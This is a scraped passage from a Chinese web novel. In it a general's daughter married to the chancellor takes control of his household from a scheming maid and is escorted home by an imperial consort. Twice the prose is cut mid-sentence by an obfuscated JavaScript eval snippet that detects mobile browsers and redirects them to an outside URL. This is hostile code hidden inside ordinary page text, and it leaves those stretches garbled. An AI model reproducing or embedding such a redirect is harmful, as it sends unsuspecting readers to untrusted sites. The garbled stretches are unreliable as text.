春雨知道自己是个迷糊的,昨夜文秀找她打探夫人的事,她嘴上没个把门的,唧唧喳喳说了许多,回到下人院里和同屋的几个姑娘说起这事儿来,受她们点拨才醒悟过来文秀的意思。 文秀是想借她的口,告诉她们,夫人不算什么,这个家,文秀才是掌权的。 小姐妹们说文秀大抵是要同夫人对着干了,春雨其实不大想这样,她觉得这样不好。昨日相爷大喜,府里上下喜气洋洋的,她爱热闹,特意同文秀告了假溜去前院偷看新娘子。 也是因着偷看,她才见到了相爷将夫人温柔抱在胸前的一幕,风拂起盖头一角,她发誓,整个天地仿佛都安静了。 她从没有见过那样好看的女子,笑吟吟带着点儿娇,却一点也不见怯弱,被相爷捧在心上也再自然不过似的。 她也没见过他们相爷脸上这样不加掩饰的笑,同从前礼貌待人的笑一点也不同。 那笑意是到眼底的。 春雨本以为,这样的女子做了夫人,相爷会开心。相爷开心,相府上下的日子便也好过,不然整日见到那张没什么表情的脸,边上再跟个特意把脸拉长的平安,这日子过得真是没滋没味的。 可她没想到的是,当晚相爷便扔下新娘子出了府,文秀还找她说这样的话,是想她撺掇小姐妹们一起来对抗夫人么? 春雨自问做不到。 若不是屋内有个头脑聪明的,她差点都会错文秀的意,以为文秀是在说夫人太可怜,要叫她们好好待夫人了! 被夫君新婚夜丢下的新娘子会有多难过?春雨都不敢想。她本以为今日见到的夫人定然是红肿着眼哭成了兔子似的,如今瞧着,夫人竟一点都不难过! 而且气场还特别强!听说夫人还比她小上一岁呢,就将文秀气得脸都青了,春雨低着头,悄悄笑了笑。比起文秀,她更喜欢夫人这样的人。 文秀此刻已顾不上春雨在想什么了,她只觉得自己找来的人简直不堪一用!跪在地上连个冤屈都哭不明白,还被岑听南三言两语就将事情又怪到自己头上了。 她已经意识到是有些小瞧这位岑二姑娘了。 到底是将军的女儿,这点小场面,想要镇住她还是太难。 岑听南见文秀埋首不知又在盘算什么主意,当下便直接叫人把眼前这小厮带出去结了银子先打发了,一直跪着也不是个事。 许是为了讨好夫人,如今她这一喊,底下终于有动静了。 最先窜出来的是个圆脸的丫头,举着手自告奋勇说自己可以带小厮去找账房先生。岑听南听着这声音略有耳熟,同玉蝶换了个眼神才确定,这丫头便是昨夜话多的那个春雨。 有她这一带动,动的人立刻多了起来。难怪文秀要找她,她果然是个适合领头的。 最先动的几个,岑听南扫了扫,记下了那几张脸。 其他人犹犹豫豫,一会儿看看文秀脸色,一会儿看看她,更多的人将头死死埋着,也不知是不愿掺和进去,还是单纯惊惧这样的场面。 春雨会跳出来帮岑听南,其实是文秀完全没想到的事。 她在心里将这个蠢丫头骂了千回万回!她昨日将事情说得这样直白,没想到这个丫头还是会错了意! 非得逼着她在大庭广众之下将事情闹得这样难看么? 文秀闭了闭眼,在更多人即将站起来对岑听南投诚与表忠心之前,高声喝道:“我看谁敢带他走!” “哦?文秀姑娘又有何高见。这桩子糊涂账可是在你管家时出现的,怎么我这个新来的夫人愿意用相府的钱替你填上这幢糊涂账,你还不乐意了?”岑听南弯着眼,一副洗耳恭听的表情,将文秀激得牙齿根都快咬碎了。 既已撕破脸,文秀也不肯给岑听南好脸色了:“他是不是真受了委屈还不知道,不查清怎么放人走,别到时候说我管家不力。夫人既有如此本事,便请夫人查明到底是哪里的帐对不上吧!” 这话说来说去,还是想考验她管家算账的能力。 岑听南不由得叹了叹气,这便是女子的无奈之处了。她们生在后院,长在后院,纵使挪去外头见了些风雨,可一旦移栽回后院,便又只见得到院子里那点陈芝麻烂谷子的事了。 文秀缠着这一点不放,是因为她的战场在此处,她的能力在此处,她只想将岑听南拉至此处,再同岑听南一较高下。 可岑听南为什么要接招呢?她又不是没有钱,完全可以请专业的账房先生来管账。她又不是没有势,只要她想随时能请更厉害的管事来当家。 她只需要将所有东西都握在自己手中,掌握大势,何须亲力亲为? 爹爹娘亲唤她汀兰,却从未真将她当做一株柔弱的汀兰来养。 岑听南突然有点儿可怜文秀了。 那点儿迎战的情绪也随之偃旗息鼓,销了个干净。文秀不是她,没有她这样好的出生,所以只能全力握住自己仅有的而已。 不是文秀的错。 岑听南抿了抿唇,有些心软。 地上跪着的小厮却不乐意文秀的说法了:“什么叫我是不是真受了委屈还不知道!文秀姑娘话里话外的意思是说我贪了铜子儿还告恶状咯?!” 文秀压低嗓,急道:“闭嘴!日后再同你细说。” 那小厮显是不信,重重哼一声膝行几步上前,叩首:“夫人明鉴!小的今日会出现在这里全都是文秀……” 岑听南这下最后半点气都消干净了,这文秀找来的同盟也如此不靠谱,半分听不懂话,还转头就倒了戈。若是她和顾砚时的同盟也这样脆弱不堪一击……岑听南只是稍加代入想了想,就快要被气晕了。 文秀已经尖声叫起来,恶狠狠打断小厮道:“你们真当这女的是相府主人了?若咱们相爷真的尊重乃至倾心于她,怎么会大婚当夜将她扔在房中?!” “你们如今在这里讨好一个上月才让相爷名声扫地的女人,就不怕相爷回来后找你们清算?!” 岑听南注意到,文秀一提到顾砚时,底下的人身子立刻抖了抖。 这些人怕顾砚时?怎么会?他一个如此温和古板的人。 “能不能动动你们的猪脑子想一想?!相爷为何要娶一个让他沦为笑柄的女人,自然是为了报复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14000278|148465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她!” “你们却在这里讨好相爷准备报复的对象,是嫌命太长了么?!” 文秀一番掷地有声的话将在场所有人都镇住了。 连岑听南都不例外。 好有逻辑的一段话!若不是她是当事人,她差点都信了! 玉珠显然被震得厉害,张大了嘴瞪圆了眼,忘记场合同玉蝶咬耳朵:“……好敢想的女的啊,她是不是这里不太好啊?” 玉珠指了指脑袋,逗得最不苟言笑的玉蝶都弯了弯唇。 那小厮眼睛滴溜溜直转,又哎呦一声扑向了文秀:“我的文秀好姑娘诶,您说的是,我这冤屈,还得夫人帮我主持公道啊!咱们夫人是个心狠的,不管下人死活,请文秀姑娘替苦命我说说话吧哎哟哟啊……” 却被文秀一脚踹到地上,啃了满嘴泥。 岑听南看了看燃着的香,这出闹剧已经耽误不少时辰,也是时候收场了,最主要的是她现在饿得很,也不知昨夜的水饺怎么这般不顶饱。 琉璃见她捂着小腹按了按,轻声问:“姑娘,可要去厨房将早膳端过来用?” 文秀立刻冷声道:“相爷今日不在,做主子膳食的刘师傅有事来同我告假,我早允了。夫人若是饿得慌,便用些下人们的吃食吧。” “混账东西!”玉珠忍无可忍直接指着文秀鼻子连珠似的大骂,“真是给你脸了在这里蹬鼻子上脸的,你一个下人还敢决定主子吃什么了?你也知道谁才是你的主子啊,口口声声这那的,把自己当什么了?相爷不在这府里还有个女主人呢,别不知道天高地厚!” 岑听南听笑了,玉蝶抽出鞘的剑又塞了回去。 文秀几次欲张嘴回骂,结果玉珠话又多又密,一直找不到空档。 等玉珠终于停了,她却彻底没插话的机会了。 平安回来了。 带着一屉热腾腾的蒸笼。 见着眼底下这幕,眉头都没皱一下,目不斜视地捧着蒸笼向前走。 有小厮丫鬟想求他出个声,指个路,他将人挥开,看都不看一眼。 文秀见到他也得意起来:“你们瞧,我说相爷昨日不在府中吧?平安日日跟在他身侧,我可没骗你们!” “平安端的可是刘记的点心?昨日我才同相爷讲,点心师傅告了假,没想到相爷竟是记在了心上,特意命平安买了送来。给我就好了。”文秀说着就要过去接。 被平安蹙着眉拧身躲开。 他嫌恶地看了文秀一眼。 文秀被这眼神吓得退了一步,没敢再往前去。 ……她心头莫名有些不大好的预感。 岑听南也很好奇平安这会儿怎么会出现在这里。 就见他捧着蒸笼,隔着一个确保热气不会烫到自己的距离,朗声开了口:“秉夫人,相爷昨夜受皇召,连夜出了上京城办事。又担心夫人才入相府,吃不惯府中菜肴,所以特意命小人去买了夫人喜好的早膳送回府中。” “相爷还说了,夫人若是用不惯,或是一个人闲得无聊了,也不必将自己拘在府中。天大地大您都去得,回将军府寻将军夫人聊天解闷也是使得的,不必在意旁的人怎么看怎么说,回门日那天,相爷一定办完事赶回来,亲自陪您回门,再有头有脸地接您回相府!必不让夫人被乱七八糟的人说闲话!” 平安抬起头,不重不轻,再自然不过地传达着顾砚时的交代。 末了,看着脸色灰白的文秀,轻声补了一句:“相爷还说,您不喜欢刘记,所以这早点,小人是在陈记买的。” 文秀已经跌坐在了地上。 17. 雪腻书香中(4) 有了新婚次日一场闹剧,府里人都意识到夫人虽然年纪小,却不是个任人拿捏的。 岑听南客客气气命琉璃将文秀手头上的事都接了过来,彻底将文秀架在相府,成了一个客人。 又因着平安的态度,即使是春雨这样心头没有弯绕的人,也懂得大势站在谁那边。 平安是左相最信任的家仆。他的态度,便是左相大人要他传递的态度。 岑听南这个权力收拢得比她想象的还简单顺利。 顺利到她忍不住在想,顾砚时为什么要这么做?他不是本就在质疑自己嫁过来的缘由么?如今为何又将府上的权力放心交给她。 岑听南想了一阵儿,没想通。索性不再纠结。 既然他摆出这么一个宠纵的戏码,她就陪着他演。岑听南开始大张旗鼓进出他的书房,借着看不惯的名头,将他书房里里外外翻了个底朝天。 平安在一旁看得心惊肉跳:“夫人,那是前朝传下来顶名贵的琉璃盏,就这一只呢。” “这把玲珑棋可是相爷的心头好,全是上等翡翠制成的,玉珠姑娘,当心些吧!” 再到后来,平安都麻木了:“……这个银丝牡丹簪,夫人若看着不顺眼就处置了吧,相爷本就打算送给您的。” 岑听南笑得花枝乱颤的:“放心,我不动,都给你们相爷收着呢,不过是换个地方摆放。” 平安开始还劝了一两回,最后一咬牙一跺脚,竟是主动当起了被岑听南使唤的苦力。反正看他家相爷这意思,只要翻不了天,就让夫人随便去翻。 不过平安虽然心头小小地抱怨了几句,到底还是很快就得了伺候夫人的趣味。 他家夫人长得好看自不必说,每天见到夫人笑一笑,他觉得命都能活长半日,不像跟在相爷身边,被那冷幽幽的目光一扫,去了阎王殿的人都得被他冷回阳间来。 何况夫人还心善,每回叫丫鬟们从外头买回来的点心,吃不完的总顺手就分给他们几个亲近的了。平安跟着饱了不少口福,什么冰酥酪、荷花酥、枣酥,头回吃不懂,一大口下去,又甜又腻齁得嗓子难受,但如今他可都会吃了!且能用得像模像样的。 只需学夫人的样,捡一块就着茶,慢吞吞吃上一个下午,这小日子神仙似的。 虽然他要做活,闲暇时辰是少了些,但不影响他看夫人享受啊。 且他家夫人还是个爱看书的,在书房里一泡便是三日,简直与相爷呆在书房的时间不遑多让,平安想,夫人年纪虽小了些,可无论方方面面,看起来同他们相爷都是再相称不过的了。 …… 这一连几日,岑听南几乎都快住在书房里了。 虽然没翻出与岑昀野有直接关联的事物,倒也不算一无所获。至少让她发现了,左相大人似乎与九王爷李璟湛来往甚密。 李璟湛同当今圣上李璟澈是一母同胞的嫡亲兄弟,可惜年岁差得有些大,足有十岁,是以兄弟二人并不很亲密——还不如李璟澈同顾砚时亲密呢。 这九王爷似乎存着点亲近顾砚时的心思,顾砚时房里这点奇珍异宝,大多数是九王爷送来的,岑听南一想便释怀了,若真是顾砚时自己搜罗来的,那问题可就大了。 更多的信息,岑听南暂时没查出来。 顾砚时的书房干净得,像他那张冷冰冰的脸似的,难怪能纵着她这样翻找。 到了第三日,岑听南还在犹豫今日要不要接着去书斋时,就听门房通报,母亲过来了。带着彩缎、油蜜蒸饼大大小小不少东西。 依照盛乾朝的规矩,新人大婚第三日娘家会来人见见新娘子寒暄问候一番,第七日则是新娘新郎一同回门拜访。 岑听南忙着找消息,差点连这个都忘了。 一见宋珏亲来了,喜不自胜,亲亲热热迎了上去。 没成想,被娘亲睨了一眼,颇头疼看着她:“你知道外头都传成什么样了么?” 岑听南浑不在意:“传什么?顾砚时大婚当夜丢下我外出?说我可怜?” 宋珏噎住:“这倒不是……都知道他是替圣上办事去了,不得已的。” 岑听南反倒好奇了:“怎么这些人是夜里潜伏在顾砚时床榻底下偷听的么?若不是平安回来告诉我,连我都不知道的事,娘亲却都知道了?” “……好奇你们新婚小夫妻的人总是多的。”宋珏道。 岑听南没忍住,噗嗤笑出来:“说我小也就罢了,说顾砚时小?看来外头的传闻都荒唐得很,不听也罢。” 宋珏看着她的眼道:“是荒唐,都说相爷将你宠上天了,为了你大动土木,要将书斋全改了,给你引进活泉水,让你日后在府里也能随时泡天然汤泉呢。” 岑听南面上表情终于变了,带着几丝茫然问:“我不过是……改了些书房的格局,怎么会传成这样子的。” “那你就要想想,这些传闻谁有这样的能力放出去,又为什么会演变成这样了。你都快成祸国殃民的红颜祸水了。”宋珏意味深长。 岑听南:“……娘亲是说,是顾砚时?” 可他到底为什么要这样,难道真如文秀所言,是想借这机会,报复她坏他名声一事……? 那可真是太小气了。 堂堂左相,呵。 岑听南带着点说不清道不明的气,又这样过了几日,除了将相府上下的路记熟外,再无任何收获。 回门日终于来了,顾砚时却并未如他所说,按时归来。 岑听南盛装打扮,坐在前厅,等着日头一寸寸升起,也没等到那抹冷冰冰的身影。 这人死外头了? 岑听南有些生气。 倒不是她多在乎顾砚时陪不陪她回去,主要是外头人在乎,新婚夜被丢下本就有人闲话,如今回门日若她一个人孤零零回去,少不得又要被添油加醋乱传。 丢的还不是他们将军府的面子。 岑听南按在梨木椅上的手指因为过于用力,而有些泛白。 文秀不知何时出现在了前厅,远远站在角落里,既不混进丫鬟堆,也不朝她而来,只咸咸淡淡讥讽几句。 但已经够叫岑听南难受了。 “相爷真是在乎夫人呢,新婚夜不在,回门日也不在。” “我瞧着,也没准备回门礼吧?哎呀,相爷可真是的,明知夫人没有管家经验,怎么能把这个都给忘记了呢。若叫外头的人知晓了,还只当我们左相府出不起这个银子呢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14000279|148465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文秀如今身份尴尬,说是丫鬟,又被架了个客人的尊贵身份什么都不让她碰,可说是有头有脸的客人——她又在府中实实在在干过那么些年活儿呢。 所以丫鬟们也很尴尬,不知道如何面对这个从前的头儿,只好远远避开。如今文秀在相府里过得跟个透明人似的,自然找到机会就要在岑听南身上狠狠扎几刀才痛快。 岑听南叫她这样一刺,心头暗道坏了。 她头一回出嫁,是真没想起来回门礼这回事啊! 琉璃与玉蝶对望一眼,脸色也差了几分。都是大姑娘谁也没有这样的经验,相府中又没个婆母,一切都是岑听南说了算,唯一记着这件事的文秀还使坏憋着不讲。 ……如今日头高升,再不出发,可就要错过回门吉时了。 可是她们根本就来不及准备! 玉珠恶狠狠瞪着文秀,换回文秀看好戏般吃吃一笑,“夫人本事不是大得很么,不过几件回门礼,总不至于这就难住夫人了吧?” 比起回门礼,岑听南更在意的,其实是顾砚时能不能赶回来陪她回娘家。 尽管只是同盟,但说好一起作的戏,总不能演到半场他就退了吧? 想起顾砚时,岑听南倒是愣了愣,这人从前怎么气她的来着? 是了,首先得端出一副不温不热满不在乎的模样,再其次开口必然是淡淡的不容置疑的,但内容却得是藐视苍生叫人说不出话的。 岑听南心中有了计较,便清了清嗓,在文秀看好戏的目光中端庄起身,并不答她话,只同琉璃道:“回门礼就不必准备了,我瞧将军府的稀罕事物比相府还多些,且都是爹爹马背上得来的,有意义!咱们就不为难相爷了,给他留点撑场面的家底吧。动身,回将军府。” 文秀想看岑听南急,岑听南偏不如她愿,不就是个过场和形式?等顾砚时回来叫他十倍八倍的补上,态度一出来,外头那些人就住嘴了。 倒是文秀,着实没见过什么好东西,将相府里的一切当做自己囊中物一样护着,见不得别人染指,见不得别人说相府半点不好。 岑听南偏要说。 文秀的脸色果然阴沉了下来,躲在角落里太阳晒不透的地方,整个人站得像这个角落一般阴鹜。 ……可让她没想到的是,这才只是个开始。 更气人的,在岑听南准备动身了才来。 平安带着人,敲锣打鼓地将回门礼占了丞相府外一条街!几条街外的百姓都被这流水一样的礼惊住了,呼朋唤友地来看。 “乖乖诶,这岑二姑娘真是好命啊,出嫁前娘家宠,出嫁后夫家宠,这礼单,赶上王妃归宁的派头了吧?” “哼不过是些礼,对丞相来说算得了什么?动动嘴皮子让下人办的事!你瞧,只见新娘子独个儿出来了,左相大人呢?要我说啊,左相对这位娇滴滴的小夫人,其实也就那么回事吧……” “贺兄说得在理,官宦人家,礼节上的方方面面,反倒比礼金上的诚意更要动人了。” “可是丞相不是外出当差了么,赶不上也情有可原吧?” 议论纷纷中,岑听南面不改色上了马车。 ……还能记得回门礼,倒还算他顾砚时周到。 18. 雪腻书香中(5) 相府门口奚落声不少,回程路上马车四周也总有人窸窸窣窣对着鱼龙而来的马车和身后的裸车长队指指点点。 “这岑二姑娘派头是大哈?”一个筒着手穿着长袍的男人半感慨半羡慕道。 “将军女儿、丞相夫人,这点礼,算收着了!”他旁边一个年长一些的老者,捋着胡子道。 围观的人一片唏嘘,不知是谁酸溜溜来了句:“那又如何,夫婿都不陪她归宁,我看她未来的日子比我们村大丫好不到哪去!” 岑听南听在耳中只觉得好笑,玉蝶玉珠倒是沉不住气了,一个掐着腰,一个抱着剑,想找个人杀鸡儆猴似的,到底是被稳重些的琉璃拦下来了。 “相爷外出办皇差,这是如今传遍整个上京城的事,就算耽误了归宁日子那也是圣上赏的体面。你们俩这一闹,才是真正将姑娘的脸子落在地上踩呢。”琉璃恨铁不成钢道,“玉珠小不懂也就算了,玉蝶你跟着她胡闹什么。” 玉蝶摸了摸剑,没说话,她就是见不得有人欺辱她们姑娘。 琉璃同她们自小一处长大,见到她不服气的眼神什么都懂了,只好压低嗓劝道:“咱们姑娘都没说什么,想必心里头是有计较的,咱们别额外生枝节,若姑娘有吩咐,再动不迟。” 玉蝶这才松了手。别的不提,姑娘如今沉稳、聪慧多了倒是真的,瞧着……就像是突然开了窍。 有时候还带着点相爷身上的气度。 玉蝶从前总是担忧她,如今也渐渐学会多相信姑娘的判断了,总没错的。 岑听南坐在熏了香炉的马车里正惬意,一点没将外头的酸话往心里去,这些话在才证明她过得好呢。 她现下乘的马车是顾砚时特意留下来的,里头烘得又香又软,若是长途跋涉,有这马车不知道多省劲儿呢。其实以将军府和相府的距离来说,乘着轿几步路就溜达过去的事,平安非得大庭广众之下又跪又请地央她上马车。 还不都是顾砚时的打算。 人没回来,什么事情倒都是计算得细致。 如今他自己拍拍屁股办皇差去了,却将惹眼的戏全留给她一人来演,她本就娇纵的名声上头更添了几分顾砚时托出来的色彩。 岑听南真怀疑他是故意的! 这马车今日走得也尤其慢,愣是拖慢了一倍时辰。 等到了将军府,车夫跳下车,接到平安递来的隐晦赞赏目光,颇有些得意地扬扬头,他赶马车十数年,拖慢点时辰还不是手到擒来的事? 岑听南对此一无所知,宋珏作为当家主母不好来门口接人,将军府的管家已经带人候在门口了,热热闹闹一圈人,等着迎接岑听南这个外嫁的女儿。 都是看着她长大的人,带着她长大的嬷嬷们过来,帕子抹着泪说姑娘清瘦了,听得岑听南心头也软,到底还是自己家里好。 玉珠却在一旁噗嗤笑出声来:“常妈妈、刘妈妈,你们就睁眼胡说吧!姑娘这几日吃好喝好,腰都圆了一圈,还清瘦呢!清瘦在哪了呀?” 两个妈妈笑着去点她脑袋:“就你话最多。” 经过前世一遭劫难,这种从前岑听南不太放在心里甚至有些不耐烦的场面,此刻也只剩下温馨与喜欢了。 一派温馨和谐中,偏有个打眼的声音插了进来:“怎么还有新娘子归宁日独个回家的,怕是……不太吉利吧?” 岑听南一抬首,便见到王初霁带着个小丫鬟,不远不近站在马车旁,这是得了信专程等着跑来看她笑话呢。 岑听南抿着唇笑了笑:“怎么王姐姐今日有空来将军府这条街转转?家里偏,离市集远,我记得同户部侍郎的宅院也不顺路呀,这是过来走亲,还是探友了?” 从前岑昀野还未当上大将军时,与王元武的官职品阶倒还相近,除了王初霁与岑听南还有另几个官宦女儿,玩得都近,后来岑昀野升了品阶,也从原本的宅子搬到了这处偏远却清净的将军府。 与王元武离得远了,岑听南心里还不觉得如何,总爱穿街过巷地去找从前的小姐妹玩,却总是在王初霁那里碰壁。 一回两回她忍了,三回四回王初霁还爱用将军府地处偏远来挤兑她,她也恼了,牙尖嘴利刺回去,王初霁又要哭。 后来慢慢就生疏了,她不将王初霁再放在心上,王初霁却把她看作头一等的仇敌,事事都要同她争抢一番。 七岁那年的探春宴上,岑听南作了首诗得了些名声,可将王初霁给气坏了。 岑听南依稀记得那年宴上她还替一个书生解了围,听说后来王初霁也是盯上了那书生,痴缠为难了好些年份。真要论起来,岑听南觉得自己还欠那书生一句道歉,这么不讲理又晦气的人,都是她带过去的。 和王初霁针尖对麦芒这些年,岑听南实在太知道她痛脚在什么地方了,此刻不急不恼点出王初霁身份地位配不上这条街,她果然羞惭急躁起来。 王初霁重重哼一声:“可别以为你嫁给顾砚时就攀上高枝了,人家摆明了也没将你放眼里。” 岑听南讶异地看她一眼,王初霁这是学聪明了?总算没被自己牵着走一回了。 见到岑听南神色,王初霁以为自己的话伤到岑听南,果然更得意:“被我说中了吧?这回门礼不会也是你自行备好,用来撑场面的吧?左相大人都不在上京城中,哪有空准备这些琐事呢。” “真是可怜呐!”王初霁提高了嗓音,四处探头,将更多好事的人引了过来。 这可是将军府同丞相府的热闹!平日里想看还没机会呢!此刻仗着人多,这些高门贵胄就算真恼了也不能拿人如何,法不责众嘛,是以短短时间内又被王初霁吸引了不少人来。 管家已经急了,担心这样下去不好收场,连忙躬身请岑听南入府,直道主母已在内院等候姑娘多时了。 谁料岑听南却不肯顺着这台阶而下,反而扬起头,冷了脸道:“谁说我要攀顾砚时的高枝?我可与你不同,我岑听南,生来就是高枝。” 说罢灿然一笑,雪肤黑发,明艳绝丽宛如夏日枝头盛放的蔷薇,荆棘与热烈一同张扬在日影融融之下。 四下一时无声。 连王初霁都看愣了神。 短暂失神后,王初霁气愤地跺着脚,一口银牙都要咬碎。 又来了!总是这样! 自小起,只要有岑听南在的地方,所有人都看不见她们旁的几个了,仿佛她们生来就是岑听南的陪衬。不但爹爹不如她,家境不如她,连自身的样貌气度都比不过她! 凭什么? 岑听南真是好命得有些过分,她甚至轻而易举就能得到自己心仪那人的青眼相加! 当初听说岑听南拒了左相求娶之时,王初霁是松了一口气的,她在想难道这就是命运的安排么,既然岑听南无意于左相,那她是不是能为了自己努力一次呢。 王初霁求着爹爹将左相借着朝务之由请来家中,连脸面都不要了,只想为自己争一个圆满。 可就连那次,都能碰上岑听南! 岑听南一出现,顾砚时本就没落在她身上的目光,直接被岑听南尽数夺走了,她在顾砚时面前就好像一个透明人一样! 那日以后,更是直接传出了两人即将大婚的消息,王初霁几乎要将肠子都悔青了,难道竟是那日檐下躲雨,促成了他俩这桩好事么? 自此以后王初霁在家中,日日烧香拜佛,只求岑听南过得不如意。 谁料真让她求到了! 大婚当夜被夫婿丢下的新娘子,放在整个上京城都是个笑话! 今日归宁,她更是要亲眼来看看,岑听南是如何在众目睽睽之下,不得不忍受自己的脸面被新婚夫婿亲手撕下扔在地上践踏的! 王初霁本以为自己会见到一个憔悴不堪的岑听南,一个清瘦下去甚至苍老不少的岑听南,可怎么也没想到,她还是如此年轻、骄傲,不将万物万事放在眼里。 ……连顾砚时,她的夫婿,也不被她放在眼中似的。 她扬起头的样子,骄傲得……简直和那人一模一样。 王初霁眼圈都红了。 “子言实在是有要事在身,不得不去办,所以今日归宁特地请我这个贵妃来陪他新婚夫人归门。” 僵持之际,一顶由十六人共抬的琉璃宝辇稳稳落在了相府门前。 隔着金银玉石制成的轿帘,轿中人的声音柔柔和和传进众人耳中:“只是宫中出来路程遥远,娇娇儿不要怪我才好。” 众人不由得睁大了眼。 这样的气场,这样规格制式的轿辇……除了宫中贵人,简直不做他想! 顾砚时,因为陪不了自己新婚夫人归宁,竟特意请来了宫中贵人为他的新妇撑场面?! 当意识到这一点,在场所有人呼吸都急促了起来。 看热闹看笑话的人,也早被护卫们以看顾贵妃安全为由,驱逐得远远的,几乎被气哭了的王初霁自然也在其中。 岑听南完全不意有此一遭,听出是孟瑶光的声音后笑道:“娘娘能来,是娇娇儿的福气,怎么敢怪罪娘娘,快进府歇一歇,我娘亲念叨娘娘许久了,一直想亲自再向娘娘致谢呢。” 孟瑶光示意下人掀起轿帘,露出巴掌大精致的脸,对着岑听南微微颔首:“我就不进去了。原本也只是来帮子言一个忙,他这一遭也不是自愿的,都是……。罢了,还是日后等他回来自己同你说。” 贵妃来去匆匆,倒叫岑听南摸不着头脑。 宋珏早得了信听说此事,母女两个见了面,一直在猜测,最后只能得出结论,也许真如贵妃所说,一切都是顾砚时安排好的。 “咱们这位左相,真是个体面人。”宋珏牵着女儿的手,多少也有些感慨。 岑听南心有戚戚:“体面个甚,老狐狸一只,什么事都让他盘算到了,不觉得怪吓人的么?” 宋珏听后大笑:“你懂什么,配上你这么个糊涂的,聪明点才好,不然被人牙子发卖了还帮人数钱呢。” 岑听南讪讪:“哪有,女儿如今很聪明了。从前只是灵智未开,大智若愚、大智若愚。” 宋珏停下笑,叹道:“是聪慧多了,至少选的郎婿看着是不错的,可惜你爹爹阿兄都没见着你出嫁。” 如今偌大的将军府,只有母女两个亲近人,几日前又才刚见过,贴心窝的话早说过了,离得又这样近,两个人倒还都生不出什么女儿出嫁的伤感来。 大眼望小眼地聊了会儿家常,竟然同从前别无 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琉璃最重规矩,无论岑听南怎么喊,都不肯陪她同桌吃饭,玉珠倒是个馋的,可在琉璃的压迫下也不敢僭越。 她一个人用膳,胃口自然不如今日见着娘亲后开怀。 “这倒是我的不好,日后有时间一定都陪娇娇儿用膳。”完全让岑听南意想不到的声音传进来时,她直接愣住了。 岑听南咬着银箸,满脸不可置信。顾砚时怎么突然就出现在她家的饭桌上了?! 她揉了揉眼,这下终于能确定自己没再重生一回,是真嫁人了。 顾砚时瞧她一副眼珠子都快瞪出来的样子,掐了一把她的脸随意道:“这就惊讶了?看看这是什么?” 宋珏见到女儿女婿的小互动,心头总算松了一半。顾砚时叫人传信说会赶上晚膳时她还不敢信,担心提前说了让女儿失望,索性瞒着没提,现下虽然晚了些,到底没错过。 是个言而有信的。 岑听南接过顾砚时手中书信,雀跃起来:“是爹爹的字迹?!你怎么会有的,你这趟到底去哪儿了?” “去接西域使臣,顺路去了岳父大人那边一趟,他们万事都好,尽可放心。”顾砚时入了座,温声道。 待看清书信上的字后,岑听南却不说话了,将信促狭地往宋珏手中一塞:“娘、子、亲、启,没我什么事儿。” 宋珏笑吟吟地拆了信,看完后朝顾砚时道谢,却是说给岑听南听的:“昀野说西域使者先去了他那边,已经在朝上京城来的路上了,左相大人要接西域使者,却是不必去到昀野与闻远那边的。” 顾子言不动声色扯了下唇:“岳母大人唤我子言即可。” 岑听南看怪物似的看着他。 - 用过膳后,宋珏便催小两口回相府。岑听南只道去书房放了信就回。 家中书房虽然是摆设,但爹爹往来的信件倒是都只存在一处的,正好借着机会再去查探一番,有没有什么变故。 谁料顾砚时却跟魔怔了似的不肯走,非要跟着她一道去。 岑听南抵着门,努力掀着眼皮看他:“我爹爹的书房,你一个外人进来做什么?” 顾砚时欺身向前,盯着她的眼睛,眼里的恶劣意味都要溢出来:“你是我明媒正娶的妻子,我是你名正言顺的夫君,你说我是外人?” “谁教你这样言语的?”顾砚时一字一句,听不出情绪。 岑听南嗤了一声:“你现在连装都不装了?” 顾砚时弯下腰,俯首在岑听南耳边:“夫妻本是同林鸟,如今你我是一条船上的蚂蚱,装得了一时,装不过一世。夫人这样聪慧,我还是……趁早坦白的好。” 他鼻尖喷薄出的热气实在灼人,烫得岑听南将头偏了过去,不自觉嘤咛出声。 顾砚时黑白分明的眸子瞬时黯了黯,掐着岑听南的腰,便将她带开,一跻身,进了书房。 满屋子的兵书,都是反复翻看注脚的痕迹。 其余经史子集各类策论却是一动不动,只做摆设。 顾砚时略略翻过,心下已有了数。 回过身,却见到小姑娘顶着一张绯红脸颊,站在满室翻开的雪白书籍中,怒视他:“将我父亲书房弄得这样乱!你赶紧给我回府!” 也不知是气的,还是羞的,微微挺起的胸脯鼓鼓胀胀颤颤巍巍,在烛火的昏暗光线下,折射出隐秘而诱人的滋味来。 ……就像是引着顾砚时上前,翻看个究竟。 顾砚时喉头滚动,眼底一片暗色翻涌。 他拉住转身欲走的岑听南,慢条斯理开口:“翻乱了别人的东西,要物归原位才好。将军没教过你,我来教你。” 岑听南不可置信:“都是你弄乱的!你让我整理?!你要不要脸!” 顾砚时垂首,从嗓子里低低溢出一声笑:“我的书房,可是被你翻了个底朝天,我还没同你这不守规矩的小毛贼清算呢。” “我瞧岳父大人的书房里,还有戒尺。”顾砚时话里隐含着的兴奋突然破土而出,将他青竹一样的伪装撕了个彻底,他哑着嗓子道,“这戒尺,该不会是夫人小时用惯的吧?” “正巧,借我。用一用。”